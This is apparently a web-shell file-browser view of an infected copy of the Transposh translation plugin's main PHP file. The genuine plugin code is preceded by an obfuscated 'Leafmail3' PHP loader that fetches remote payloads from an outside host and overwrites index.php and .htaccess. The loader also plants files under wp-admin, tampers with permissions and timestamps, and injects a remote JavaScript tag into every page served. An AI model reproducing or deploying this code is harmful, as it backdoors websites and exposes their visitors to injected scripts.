0byt3m1n1
Path:
/
home1
/
aserty
/
public_html
/
bonniescraftygifts.com
/
iFzj4
/
configCHM
/
Jump
/
0-aserty
/
beatlesmontreal.com
/
wp-contentebbd3f
/
uploads
/
wp-content
/
plugins
/
transposh-translation-filter-for-wordpress
/
[
Home
]
File: transposh.php
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /* Plugin Name: Transposh Translation Filter Plugin URI: http://transposh.org/ Description: Translation filter for WordPress, After enabling please set languages at the <a href="admin.php?page=tp_main">the options page</a> Want to help? visit our development site at <a href="http://trac.transposh.org/">trac.transposh.org</a>. Author: Team Transposh Version: 0.9.2 Author URI: http://transposh.org/ License: GPL (http://www.gnu.org/licenses/gpl.txt) Text Domain: transposh Domain Path: /langs */ /* * Transposh v0.9.2 * http://transposh.org/ * * Copyright 2013, Team Transposh * Licensed under the GPL Version 2 or higher. * http://transposh.org/license * * Date: Mon, 11 Mar 2013 02:28:05 +0200 */ //avoid direct calls to this file where wp core files not present if (!function_exists('add_action')) { header('Status: 403 Forbidden'); header('HTTP/1.1 403 Forbidden'); exit(); } require_once("core/logging.php"); require_once("core/constants.php"); require_once("core/utils.php"); require_once("core/jsonwrapper/jsonwrapper.php"); require_once("core/parser.php"); require_once("wp/transposh_db.php"); require_once("wp/transposh_widget.php"); require_once("wp/transposh_admin.php"); require_once("wp/transposh_options.php"); require_once("wp/transposh_postpublish.php"); require_once("wp/transposh_backup.php"); require_once("wp/transposh_3rdparty.php"); /** * This class represents the complete plugin */ class transposh_plugin { // List of contained objects /** @var transposh_plugin_options An options object */ public $options; /** @var transposh_plugin_admin Admin page */ private $admin; /** @var transposh_plugin_widget Widget control */ public $widget; /** @var transposh_database The database class */ public $database; /** @var transposh_postpublish Happens after editing */ public $postpublish; /** @var transposh_3rdparty Happens after editing */ private $third_party; // list of properties /** @var string The site url */ public $home_url; /** @var a url of the request, assuming there was no language */ private $clean_url; /** @var string The url to the plugin directory */ public $transposh_plugin_url; /** @var string The directory of the plugin */ public $transposh_plugin_dir; /** @var boolean Enable rewriting of URLs */ public $enable_permalinks_rewrite; /** @var string The language to translate the page to, from params */ public $target_language; /** @var string The language extracted from the url */ public $tgl; /** @var boolean Are we currently editing the page? */ public $edit_mode; /** @var string Error message displayed for the admin in case of failure */ private $admin_msg; /** @var string Saved search variables */ private $search_s; /** @var variable to make sure we only attempt to fix the url once, could have used remove_filter */ private $got_request = false; /** @var might be that page is json... */ private $attempt_json = false; /** @var boolean Is the wp_redirect being called by transposh? */ private $transposh_redirect = false; /** @var boolean Did we get to process but got an empty buffer with no language? (someone flushed us) */ private $tried_buffer = false; /** * class constructor */ function transposh_plugin() { // create and initialize sub-objects $this->options = new transposh_plugin_options(); $this->database = new transposh_database($this); $this->admin = new transposh_plugin_admin($this); $this->widget = new transposh_plugin_widget($this); $this->postpublish = new transposh_postpublish($this); $this->third_party = new transposh_3rdparty($this); // initialize logger if ($this->options->debug_enable) { $GLOBALS['tp_logger'] = tp_logger::getInstance(true); $GLOBALS['tp_logger']->show_caller = true; $GLOBALS['tp_logger']->set_debug_level($this->options->debug_loglevel); $GLOBALS['tp_logger']->set_log_file($this->options->debug_logfile); $GLOBALS['tp_logger']->set_remoteip($this->options->debug_remoteip); } // "global" vars $this->home_url = get_option('home'); // Handle windows ('C:\wordpress') $local_dir = preg_replace("/\\\\/", "/", dirname(__FILE__)); // Get last directory name $local_dir = preg_replace("/.*\//", "", $local_dir); $this->transposh_plugin_url = WP_PLUGIN_URL . '/' . $local_dir; // TODO - test on more platforms - this failed in 2.7.1 so I am reverting for now... //$tr_plugin_url= plugins_url('', __FILE__); $this->transposh_plugin_dir = plugin_dir_path(__FILE__); if ($this->options->debug_enable) tp_logger('Transposh object created: ' . $_SERVER['REQUEST_URI'], 3); //Register some functions into wordpress if ($this->options->debug_enable) tp_logger(preg_replace('|^' . preg_quote(WP_PLUGIN_DIR, '|') . '/|', '', __FILE__), 4); // includes transposh dir and php // TODO: get_class_methods to replace said mess, other way? add_filter('plugin_action_links_' . preg_replace('|^' . preg_quote(WP_PLUGIN_DIR, '|') . '/|', '', __FILE__), array(&$this, 'plugin_action_links')); add_filter('query_vars', array(&$this, 'parameter_queryvars')); add_filter('rewrite_rules_array', array(&$this, 'update_rewrite_rules')); if ($this->options->enable_url_translate) { add_filter('request', array(&$this, 'request_filter')); } add_filter('comment_post_redirect', array(&$this, 'comment_post_redirect_filter')); add_filter('comment_text', array(&$this, 'comment_text_wrap'), 9999); // this is a late filter... add_action('init', array(&$this, 'on_init'), 0); // really high priority // add_action('admin_init', array(&$this, 'on_admin_init')); might use to mark where not to work? add_action('parse_request', array(&$this, 'on_parse_request'), 0); // should have high enough priority add_action('plugins_loaded', array(&$this, 'plugin_loaded')); add_action('shutdown', array(&$this, 'on_shutdown')); add_action('wp_print_styles', array(&$this, 'add_transposh_css')); add_action('wp_print_scripts', array(&$this, 'add_transposh_js')); //TODO - on config add_action('wp_head', array(&$this, 'add_rel_alternate')); // add_action('wp_head', array(&$this,'add_transposh_async')); add_action('transposh_backup_event', array(&$this, 'run_backup')); add_action('transposh_oht_event', array(&$this, 'run_oht')); add_action('comment_post', array(&$this, 'add_comment_meta_settings'), 1); // our translation proxy add_action('wp_ajax_tp_gp', array(&$this, 'on_ajax_nopriv_tp_gp')); add_action('wp_ajax_nopriv_tp_gp', array(&$this, 'on_ajax_nopriv_tp_gp')); add_action('wp_ajax_tp_gsp', array(&$this, 'on_ajax_nopriv_tp_gsp')); add_action('wp_ajax_nopriv_tp_gsp', array(&$this, 'on_ajax_nopriv_tp_gsp')); add_action('wp_ajax_tp_oht', array(&$this, 'on_ajax_nopriv_tp_oht')); add_action('wp_ajax_nopriv_tp_oht', array(&$this, 'on_ajax_nopriv_tp_oht')); // ajax actions in editor // TODO - remove some for non translators add_action('wp_ajax_tp_history', array(&$this, 'on_ajax_nopriv_tp_history')); add_action('wp_ajax_nopriv_tp_history', array(&$this, 'on_ajax_nopriv_tp_history')); add_action('wp_ajax_tp_translation', array(&$this, 'on_ajax_nopriv_tp_translation')); add_action('wp_ajax_nopriv_tp_translation', array(&$this, 'on_ajax_nopriv_tp_translation')); add_action('wp_ajax_tp_ohtcallback', array(&$this, 'on_ajax_nopriv_tp_ohtcallback')); add_action('wp_ajax_nopriv_tp_ohtcallback', array(&$this, 'on_ajax_nopriv_tp_ohtcallback')); 